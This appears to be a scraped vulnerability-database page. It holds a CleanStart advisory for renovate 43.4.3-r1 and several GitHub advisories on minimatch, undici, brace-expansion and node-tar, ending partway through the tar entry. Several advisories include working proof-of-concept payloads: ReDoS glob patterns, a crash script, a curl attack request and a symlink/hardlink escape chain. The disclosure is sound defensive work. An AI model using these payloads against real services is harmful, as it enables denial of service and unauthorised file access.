Action not permitted
Modal body text goes here.
Modal Title
Modal Body
Vulnerability from cleanstart
Package renovate version 43.4.3-r1 fixes 49 vulnerabilities: ghsa-8wc6-vgrq-x6cf, CVE-2026-28292, ghsa-r275-fr43-pm7q, CVE-2026-25896, ghsa-m7jm-9gc2-mpf2...
| URL | Type | |
|---|---|---|
{
"affected": [
{
"package": {
"ecosystem": "Alpine",
"name": "renovate"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "43.4.3-r1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"43.4.3-r1"
]
}
],
"credits": [],
"database_specific": {},
"details": "Package renovate version 43.4.3-r1 fixes 49 vulnerabilities: ghsa-8wc6-vgrq-x6cf, CVE-2026-28292, ghsa-r275-fr43-pm7q, CVE-2026-25896, ghsa-m7jm-9gc2-mpf2...",
"id": "CLEANSTART-2026-IA01903",
"modified": "2026-07-30T09:31:56Z",
"published": "2026-07-30T07:10:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/renovatebot/renovate"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in renovate 43.4.3-r1",
"upstream": [
"ghsa-8wc6-vgrq-x6cf",
"CVE-2026-28292",
"ghsa-r275-fr43-pm7q",
"CVE-2026-25896",
"ghsa-m7jm-9gc2-mpf2",
"CVE-2026-25128",
"ghsa-37qj-frw5-hhjh",
"CVE-2026-26278",
"ghsa-jmr7-xgp7-cmfj",
"CVE-2026-33036",
"ghsa-8gc5-j5rx-235r",
"CVE-2026-27942",
"ghsa-fj3w-jwp8-x2g3",
"CVE-2026-26996",
"ghsa-3ppc-4f35-3m26",
"CVE-2026-27903",
"ghsa-7r86-cg39-jmmj",
"CVE-2026-27904",
"ghsa-23c5-xmqv-rm74",
"CVE-2026-27601",
"ghsa-qpx9-hpmf-5gmw",
"CVE-2025-69873",
"ghsa-2g4f-4pwh-qvx6",
"CVE-2026-32141",
"ghsa-25h7-pfq9-p65f",
"CVE-2026-25547",
"ghsa-7h2j-956f-4vf2",
"CVE-2026-2391",
"ghsa-w7fw-mjwx-w883",
"CVE-2026-26960",
"ghsa-83g3-92jg-28cx",
"CVE-2026-29786",
"ghsa-qffp-2rhf-9h96",
"CVE-2026-31802",
"ghsa-9ppj-qmqm-q256",
"CVE-2026-2327",
"ghsa-38c4-r59v-3vqw",
"CVE-2026-1525",
"ghsa-4992-7rv2-5pvq",
"CVE-2026-1526",
"ghsa-v9p9-hfj2-hcw8",
"CVE-2026-1527",
"ghsa-f269-vfmq-vjvj",
"CVE-2026-1528",
"ghsa-vrm6-8vpv-qv8q",
"CVE-2026-2229",
"ghsa-phc3-fgpg-7m6h",
"CVE-2026-2581",
"ghsa-2mjp-6q6p-2qxm"
]
}
GHSA-3PPC-4F35-3M26
Vulnerability from github – Published: 2026-02-18 22:38 – Updated: 2026-02-24 20:59Summary
minimatch is vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive * wildcards followed by a literal character that doesn't appear in the test string. Each * compiles to a separate [^/]*? regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits.
The time complexity is O(4^N) where N is the number of * characters. With N=15, a single minimatch() call takes ~2 seconds. With N=34, it hangs effectively forever.
Details
Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.
PoC
When minimatch compiles a glob pattern, each * becomes [^/]*? in the generated regex. For a pattern like ***************X***:
/^(?!\.)[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?X[^/]*?[^/]*?[^/]*?$/
When the test string doesn't contain X, the regex engine must try every possible way to distribute the characters across all the [^/]*? groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) — exponential.
Impact
Any application that passes user-controlled strings to minimatch() as the pattern argument is vulnerable to DoS. This includes:
- File search/filter UIs that accept glob patterns
- .gitignore-style filtering with user-defined rules
- Build tools that accept glob configuration
- Any API that exposes glob matching to untrusted input
Thanks to @ljharb for back-porting the fix to legacy versions of minimatch.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "10.0.0"
},
{
"fixed": "10.2.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.0.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.4.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"fixed": "6.2.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.1.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.2.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-26996"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-18T22:38:11Z",
"nvd_published_at": "2026-02-20T03:16:01Z",
"severity": "HIGH"
},
"details": "### Summary\n`minimatch` is vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive `*` wildcards followed by a literal character that doesn\u0027t appear in the test string. Each `*` compiles to a separate `[^/]*?` regex group, and when the match fails, V8\u0027s regex engine backtracks exponentially across all possible splits.\n\nThe time complexity is O(4^N) where N is the number of `*` characters. With N=15, a single `minimatch()` call takes ~2 seconds. With N=34, it hangs effectively forever.\n\n\n### Details\n_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._\n\n### PoC\nWhen minimatch compiles a glob pattern, each `*` becomes `[^/]*?` in the generated regex. For a pattern like `***************X***`:\n\n```\n/^(?!\\.)[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?X[^/]*?[^/]*?[^/]*?$/\n```\n\nWhen the test string doesn\u0027t contain `X`, the regex engine must try every possible way to distribute the characters across all the `[^/]*?` groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) \u2014 exponential.\n### Impact\nAny application that passes user-controlled strings to `minimatch()` as the pattern argument is vulnerable to DoS. This includes:\n- File search/filter UIs that accept glob patterns\n- `.gitignore`-style filtering with user-defined rules\n- Build tools that accept glob configuration\n- Any API that exposes glob matching to untrusted input\n\n----\n\nThanks to @ljharb for back-porting the fix to legacy versions of minimatch.",
"id": "GHSA-3ppc-4f35-3m26",
"modified": "2026-02-24T20:59:57Z",
"published": "2026-02-18T22:38:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/isaacs/minimatch/security/advisories/GHSA-3ppc-4f35-3m26"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26996"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/minimatch/commit/2e111f3a79abc00fa73110195de2c0f2351904f5"
},
{
"type": "PACKAGE",
"url": "https://github.com/isaacs/minimatch"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "minimatch has a ReDoS via repeated wildcards with non-matching literal in pattern"
}
GHSA-4992-7RV2-5PVQ
Vulnerability from github – Published: 2026-03-13 20:41 – Updated: 2026-03-13 20:41Impact
When an application passes user-controlled input to the upgrade option of client.request(), an attacker can inject CRLF sequences (\r\n) to:
- Inject arbitrary HTTP headers
- Terminate the HTTP request prematurely and smuggle raw data to non-HTTP services (Redis, Memcached, Elasticsearch)
The vulnerability exists because undici writes the upgrade value directly to the socket without validating for invalid header characters:
// lib/dispatcher/client-h1.js:1121
if (upgrade) {
header += `connection: upgrade\r\nupgrade: ${upgrade}\r\n`
}
Patches
Patched in the undici version v7.24.0 and v6.24.0. Users should upgrade to this version or later.
Workarounds
Sanitize the upgrade option string before passing to undici:
function sanitizeUpgrade(value) {
if (/[\r\n]/.test(value)) {
throw new Error('Invalid upgrade value')
}
return value
}
client.request({
upgrade: sanitizeUpgrade(userInput)
})
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "undici"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.24.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "undici"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.24.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-1527"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-13T20:41:26Z",
"nvd_published_at": "2026-03-12T21:16:25Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nWhen an application passes user-controlled input to the `upgrade` option of `client.request()`, an attacker can inject CRLF sequences (`\\r\\n`) to:\n\n1. Inject arbitrary HTTP headers\n2. Terminate the HTTP request prematurely and smuggle raw data to non-HTTP services (Redis, Memcached, Elasticsearch)\n\nThe vulnerability exists because undici writes the `upgrade` value directly to the socket without validating for invalid header characters:\n\n```javascript\n// lib/dispatcher/client-h1.js:1121\nif (upgrade) {\n header += `connection: upgrade\\r\\nupgrade: ${upgrade}\\r\\n`\n}\n```\n\n### Patches\n\n Patched in the undici version v7.24.0 and v6.24.0. Users should upgrade to this version or later.\n\n### Workarounds\n\nSanitize the `upgrade` option string before passing to undici:\n\n```javascript\nfunction sanitizeUpgrade(value) {\n if (/[\\r\\n]/.test(value)) {\n throw new Error(\u0027Invalid upgrade value\u0027)\n }\n return value\n}\n\nclient.request({\n upgrade: sanitizeUpgrade(userInput)\n})\n```",
"id": "GHSA-4992-7rv2-5pvq",
"modified": "2026-03-13T20:41:26Z",
"published": "2026-03-13T20:41:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-4992-7rv2-5pvq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1527"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/3487198"
},
{
"type": "WEB",
"url": "https://cna.openjsf.org/security-advisories.html"
},
{
"type": "PACKAGE",
"url": "https://github.com/nodejs/undici"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Undici has CRLF Injection in undici via `upgrade` option"
}
GHSA-7H2J-956F-4VF2
Vulnerability from github – Published: 2026-02-03 19:41 – Updated: 2026-02-05 00:36Summary
@isaacs/brace-expansion is vulnerable to a Denial of Service (DoS) issue caused by unbounded brace range expansion. When an attacker provides a pattern containing repeated numeric brace ranges, the library attempts to eagerly generate every possible combination synchronously. Because the expansion grows exponentially, even a small input can consume excessive CPU and memory and may crash the Node.js process.
Details
The vulnerability occurs because @isaacs/brace-expansion expands brace expressions without any upper bound or complexity limit. Expansion is performed eagerly and synchronously, meaning the full result set is generated before returning control to the caller.
For example, the following input:
{0..99}{0..99}{0..99}{0..99}{0..99}
produces:
100^5 = 10,000,000,000 combinations
This exponential growth can quickly overwhelm the event loop and heap memory, resulting in process termination.
Proof of Concept
The following script reliably triggers the issue.
Create poc.js:
const { expand } = require('@isaacs/brace-expansion');
const pattern = '{0..99}{0..99}{0..99}{0..99}{0..99}';
console.log('Starting expansion...');
expand(pattern);
Run it:
node poc.js
The process will freeze and typically crash with an error such as:
FATAL ERROR: JavaScript heap out of memory
Impact
This is a denial of service vulnerability. Any application or downstream dependency that uses @isaacs/brace-expansion on untrusted input may be vulnerable to a single-request crash.
An attacker does not require authentication and can use a very small payload to:
- Trigger exponential computation
- Exhaust memory and CPU resources
- Block the event loop
- Crash Node.js services relying on this library
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.0.0"
},
"package": {
"ecosystem": "npm",
"name": "@isaacs/brace-expansion"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25547"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-03T19:41:15Z",
"nvd_published_at": "2026-02-04T22:16:00Z",
"severity": "HIGH"
},
"details": "### Summary\n\n`@isaacs/brace-expansion` is vulnerable to a Denial of Service (DoS) issue caused by unbounded brace range expansion. When an attacker provides a pattern containing repeated numeric brace ranges, the library attempts to eagerly generate every possible combination synchronously. Because the expansion grows exponentially, even a small input can consume excessive CPU and memory and may crash the Node.js process.\n\n### Details\n\nThe vulnerability occurs because `@isaacs/brace-expansion` expands brace expressions without any upper bound or complexity limit. Expansion is performed eagerly and synchronously, meaning the full result set is generated before returning control to the caller.\n\nFor example, the following input:\n\n```\n{0..99}{0..99}{0..99}{0..99}{0..99}\n```\n\nproduces:\n\n```\n100^5 = 10,000,000,000 combinations\n```\n\nThis exponential growth can quickly overwhelm the event loop and heap memory, resulting in process termination.\n\n### Proof of Concept\n\nThe following script reliably triggers the issue.\n\nCreate `poc.js`:\n\n```js\nconst { expand } = require(\u0027@isaacs/brace-expansion\u0027);\n\nconst pattern = \u0027{0..99}{0..99}{0..99}{0..99}{0..99}\u0027;\n\nconsole.log(\u0027Starting expansion...\u0027);\nexpand(pattern);\n```\n\nRun it:\n\n```bash\nnode poc.js\n```\n\nThe process will freeze and typically crash with an error such as:\n\n```\nFATAL ERROR: JavaScript heap out of memory\n```\n\n### Impact\n\nThis is a denial of service vulnerability. Any application or downstream dependency that uses `@isaacs/brace-expansion` on untrusted input may be vulnerable to a single-request crash.\n\nAn attacker does not require authentication and can use a very small payload to:\n\n* Trigger exponential computation\n* Exhaust memory and CPU resources\n* Block the event loop\n* Crash Node.js services relying on this library",
"id": "GHSA-7h2j-956f-4vf2",
"modified": "2026-02-05T00:36:54Z",
"published": "2026-02-03T19:41:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/isaacs/brace-expansion/security/advisories/GHSA-7h2j-956f-4vf2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25547"
},
{
"type": "PACKAGE",
"url": "https://github.com/isaacs/brace-expansion"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "@isaacs/brace-expansion has Uncontrolled Resource Consumption"
}
GHSA-7R86-CG39-JMMJ
Vulnerability from github – Published: 2026-02-26 22:10 – Updated: 2026-02-26 22:10Summary
matchOne() performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent ** (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where n is the number of path segments and k is the number of globstars. With k=11 and n=30, a call to the default minimatch() API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.
Details
The vulnerable loop is in matchOne() at src/index.ts#L960:
while (fr < fl) {
..
if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) {
..
return true
}
..
fr++
}
When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each ** multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).
There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning false on a non-matching input.
Measured timing with n=30 path segments:
| k (globstars) | Pattern size | Time |
|---|---|---|
| 7 | 36 bytes | ~154ms |
| 9 | 46 bytes | ~1.2s |
| 11 | 56 bytes | ~5.4s |
| 12 | 61 bytes | ~9.7s |
| 13 | 66 bytes | ~15.9s |
PoC
Tested on minimatch@10.2.2, Node.js 20.
Step 1 -- inline script
import { minimatch } from 'minimatch'
// k=9 globstars, n=30 path segments
// pattern: 46 bytes, default options
const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b'
const path = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a'
const start = Date.now()
minimatch(path, pattern)
console.log(Date.now() - start + 'ms') // ~1200ms
To scale the effect, increase k:
// k=11 -> ~5.4s, k=13 -> ~15.9s
const k = 11
const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b'
const path = Array(30).fill('a').join('/')
minimatch(path, pattern)
No special options are required. This reproduces with the default minimatch() call.
Step 2 -- HTTP server (event loop starvation proof)
The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:
// poc1-server.mjs
import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'
const PORT = 3000
const server = http.createServer((req, res) => {
const url = new URL(req.url, `http://localhost:${PORT}`)
if (url.pathname !== '/match') { res.writeHead(404); res.end(); return }
const pattern = url.searchParams.get('pattern') ?? ''
const path = url.searchParams.get('path') ?? ''
const start = process.hrtime.bigint()
const result = minimatch(path, pattern)
const ms = Number(process.hrtime.bigint() - start) / 1e6
res.writeHead(200, { 'Content-Type': 'application/json' })
res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
})
server.listen(PORT)
Terminal 1 -- start the server:
node poc1-server.mjs
Terminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:
curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" &
Terminal 3 -- while the attack is in-flight, send a benign request:
curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz"
Observed output (Terminal 3):
{"result":true,"ms":"0"}
time_total: 4.132709s
The server reports "ms":"0" -- the legitimate request itself takes zero processing time. The 4+ second time_total is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:
{"result":true,"ms":"0"}
time_total: 0.001599s
Impact
Any application where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "10.0.0"
},
{
"fixed": "10.2.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.0.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.4.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"fixed": "6.2.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.1.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.2.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-27903"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-26T22:10:18Z",
"nvd_published_at": "2026-02-26T02:16:21Z",
"severity": "HIGH"
},
"details": "### Summary\n\n`matchOne()` performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent `**` (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where `n` is the number of path segments and `k` is the number of globstars. With k=11 and n=30, a call to the default `minimatch()` API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.\n\n---\n\n### Details\n\nThe vulnerable loop is in `matchOne()` at [`src/index.ts#L960`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/index.ts#L960):\n\n```typescript\nwhile (fr \u003c fl) {\n ..\n if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) {\n ..\n return true\n }\n ..\n fr++\n}\n```\n\nWhen a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each `**` multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).\n\nThere is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning `false` on a non-matching input.\n\nMeasured timing with n=30 path segments:\n\n| k (globstars) | Pattern size | Time |\n|---------------|--------------|----------|\n| 7 | 36 bytes | ~154ms |\n| 9 | 46 bytes | ~1.2s |\n| 11 | 56 bytes | ~5.4s |\n| 12 | 61 bytes | ~9.7s |\n| 13 | 66 bytes | ~15.9s |\n\n---\n\n### PoC\n\nTested on minimatch@10.2.2, Node.js 20.\n\n**Step 1 -- inline script**\n\n```javascript\nimport { minimatch } from \u0027minimatch\u0027\n\n// k=9 globstars, n=30 path segments\n// pattern: 46 bytes, default options\nconst pattern = \u0027**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b\u0027\nconst path = \u0027a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a\u0027\n\nconst start = Date.now()\nminimatch(path, pattern)\nconsole.log(Date.now() - start + \u0027ms\u0027) // ~1200ms\n```\n\nTo scale the effect, increase k:\n\n```javascript\n// k=11 -\u003e ~5.4s, k=13 -\u003e ~15.9s\nconst k = 11\nconst pattern = Array.from({ length: k }, () =\u003e \u0027**/a\u0027).join(\u0027/\u0027) + \u0027/b\u0027\nconst path = Array(30).fill(\u0027a\u0027).join(\u0027/\u0027)\nminimatch(path, pattern)\n```\n\nNo special options are required. This reproduces with the default `minimatch()` call.\n\n**Step 2 -- HTTP server (event loop starvation proof)**\n\nThe following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:\n\n```javascript\n// poc1-server.mjs\nimport http from \u0027node:http\u0027\nimport { URL } from \u0027node:url\u0027\nimport { minimatch } from \u0027minimatch\u0027\n\nconst PORT = 3000\n\nconst server = http.createServer((req, res) =\u003e {\n const url = new URL(req.url, `http://localhost:${PORT}`)\n if (url.pathname !== \u0027/match\u0027) { res.writeHead(404); res.end(); return }\n\n const pattern = url.searchParams.get(\u0027pattern\u0027) ?? \u0027\u0027\n const path = url.searchParams.get(\u0027path\u0027) ?? \u0027\u0027\n\n const start = process.hrtime.bigint()\n const result = minimatch(path, pattern)\n const ms = Number(process.hrtime.bigint() - start) / 1e6\n\n res.writeHead(200, { \u0027Content-Type\u0027: \u0027application/json\u0027 })\n res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + \u0027\\n\u0027)\n})\n\nserver.listen(PORT)\n```\n\nTerminal 1 -- start the server:\n```\nnode poc1-server.mjs\n```\n\nTerminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:\n```\ncurl \"http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb\u0026path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa\" \u0026\n```\n\nTerminal 3 -- while the attack is in-flight, send a benign request:\n```\ncurl -w \"\\ntime_total: %{time_total}s\\n\" \"http://localhost:3000/match?pattern=**%2Fy%2Fz\u0026path=x%2Fy%2Fz\"\n```\n\n**Observed output (Terminal 3):**\n```\n{\"result\":true,\"ms\":\"0\"}\n\ntime_total: 4.132709s\n```\n\nThe server reports `\"ms\":\"0\"` -- the legitimate request itself takes zero processing time. The 4+ second `time_total` is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:\n\n```\n{\"result\":true,\"ms\":\"0\"}\n\ntime_total: 0.001599s\n```\n\n---\n\n### Impact\n\nAny application where an attacker can influence the glob pattern passed to `minimatch()` is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.",
"id": "GHSA-7r86-cg39-jmmj",
"modified": "2026-02-26T22:10:18Z",
"published": "2026-02-26T22:10:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/isaacs/minimatch/security/advisories/GHSA-7r86-cg39-jmmj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27903"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748"
},
{
"type": "PACKAGE",
"url": "https://github.com/isaacs/minimatch"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "minimatch has ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments"
}
GHSA-83G3-92JG-28CX
Vulnerability from github – Published: 2026-02-18 00:57 – Updated: 2026-02-20 16:47Summary
tar.extract() in Node tar allows an attacker-controlled archive to create a hardlink inside the extraction directory that points to a file outside the extraction root, using default options.
This enables arbitrary file read and write as the extracting user (no root, no chmod, no preservePaths).
Severity is high because the primitive bypasses path protections and turns archive extraction into a direct filesystem access primitive.
Details
The bypass chain uses two symlinks plus one hardlink:
a/b/c/up -> ../..a/b/escape -> c/up/../..exfil(hardlink) ->a/b/escape/<target-relative-to-parent-of-extract>
Why this works:
- Linkpath checks are string-based and do not resolve symlinks on disk for hardlink target safety.
-
See
STRIPABSOLUTEPATHlogic in:../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:255../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:268../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:281
-
Hardlink extraction resolves target as
path.resolve(cwd, entry.linkpath)and then callsfs.link(target, destination). ../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:566../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:567-
../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:703 -
Parent directory safety checks (
mkdir+ symlink detection) are applied to the destination path of the extracted entry, not to the resolved hardlink target path. ../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:617../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:619../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/mkdir.js:27../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/mkdir.js:101
As a result, exfil is created inside extraction root but linked to an external file. The PoC confirms shared inode and successful read+write via exfil.
PoC
